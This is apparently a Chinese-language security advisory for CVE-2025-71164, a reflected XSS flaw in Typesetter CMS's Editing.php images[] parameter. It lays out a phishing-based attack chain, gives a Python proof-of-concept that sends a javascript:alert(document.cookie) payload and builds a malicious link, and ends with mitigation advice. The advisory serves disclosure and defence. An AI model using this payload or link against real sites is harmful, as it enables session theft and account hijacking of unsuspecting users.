IPBUF安全漏洞报告
English
CVE-2025-71164 CVSS 5.4 中危

CVE-2025-71164 Typesetter CMS 反射型XSS漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2025-71164
漏洞类型
反射型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Typesetter CMS

相关标签

反射型XSSTypesetter CMSCVE-2025-71164跨站脚本CMS漏洞JavaScript注入会话劫持中危漏洞认证利用编辑组件漏洞

漏洞概述

CVE-2025-71164是Typesetter CMS中的一个中危反射型跨站脚本(XSS)漏洞。该漏洞存在于CMS的编辑组件(Editing component)中,具体位于include/tool/Editing.php文件。漏洞的成因是images参数(通过POST请求以images[]形式提交)在被反射到HTML href属性时,未进行适当的上下文感知输出编码。攻击者可以利用此漏洞注入恶意JavaScript代码,当受害者访问包含恶意链接的页面时,攻击者可以在受害者的浏览器会话上下文中执行任意JavaScript代码。此漏洞需要认证才能利用,攻击者需要具备编辑权限。由于CVSS评分为5.4,属于中危级别,机密性和完整性影响均为低。虽然需要用户交互才能触发,但攻击者仍可通过社会工程学手段诱导受害者点击恶意链接,从而窃取会话cookie、劫持用户账户或执行其他恶意操作。

技术细节

该漏洞是典型的反射型XSS(Non-Persistent XSS)漏洞。在Typesetter CMS的Editing.php文件中,images参数通过POST请求提交后,被直接反射到HTML页面的href属性中,而没有进行适当的输出编码。攻击者可以通过构造特殊的images[]参数值来注入恶意代码。攻击向量的关键在于利用JavaScript伪协议(如javascript:),当用户点击包含恶意代码的链接时,浏览器会执行攻击者注入的JavaScript代码。攻击流程如下:1)攻击者首先需要获取Typesetter CMS的有效账户并获得编辑权限;2)构造包含恶意JavaScript代码的POST请求,将images[]参数设置为javascript:alert(document.cookie)等payload;3)将包含恶意代码的链接通过钓鱼邮件或其他方式发送给受害者;4)当受害者点击链接访问受影响的页面时,恶意JavaScript代码会在受害者的浏览器上下文中执行,从而实现会话劫持、敏感信息窃取等攻击目的。漏洞的根本原因是缺少对用户输入的严格过滤和输出编码。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用Typesetter CMS,并确定版本号 <= 5.1
STEP 2
Account Compromise
攻击者获取Typesetter CMS的有效账户,需要具备编辑权限(PR:L)
STEP 3
Payload Crafting
攻击者构造恶意XSS payload,利用JavaScript伪协议如javascript:alert(document.cookie)
STEP 4
Social Engineering
攻击者通过钓鱼邮件、恶意链接等方式诱导受害者访问包含恶意payload的URL
STEP 5
Trigger Execution
受害者点击恶意链接后,浏览器解析href属性中的javascript:伪协议,执行攻击者注入的JavaScript代码
STEP 6
Impact Realization
攻击成功后在受害者浏览器上下文中执行任意JavaScript,可窃取会话cookie、劫持账户、执行恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2025-71164 PoC - Typesetter CMS Reflected XSS # Target: Typesetter CMS <= 5.1 # Component: include/tool/Editing.php # Vector: images[] parameter with javascript: protocol target_url = "http://target-site.com Typesetter CMS URL" # Malicious payload for XSS xss_payload = "javascript:alert(document.cookie)" # Construct POST request with XSS payload data = { "images[]": xss_payload, "gadget": "EditPage", # or appropriate gadget parameter "method": "SomeMethod" } # Alternative: Construct URL with reflected parameter malicious_url = f"{target_url}/include/tool/Editing.php?images[]={urllib.parse.quote(xss_payload)}" # Attack requires authenticated session with editing privileges cookies = { "session_cookie": "your_authenticated_session_here" } # Send malicious request response = requests.post(target_url, data=data, cookies=cookies) # For reflected XSS, the payload should be reflected in the response if xss_payload in response.text: print("[+] XSS payload reflected in response - Vulnerability confirmed!") else: print("[-] Payload not reflected") # Note: This PoC demonstrates the vulnerability but requires: # 1. Valid authentication with editing privileges # 2. User interaction (victim must click the malicious link) # 3. Proper context (payload reflected in href attribute) print(f"\nMalicious URL for social engineering: {malicious_url}")

影响范围

Typesetter CMS <= 5.1

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)中添加针对javascript:伪协议的过滤规则;禁用或限制编辑功能的使用;对所有用户输入实施严格的输入验证;启用HttpOnly和Secure标志保护会话Cookie;监控和日志记录异常请求;限制具有编辑权限的用户账户数量和访问范围。建议在完成官方补丁发布后立即进行版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表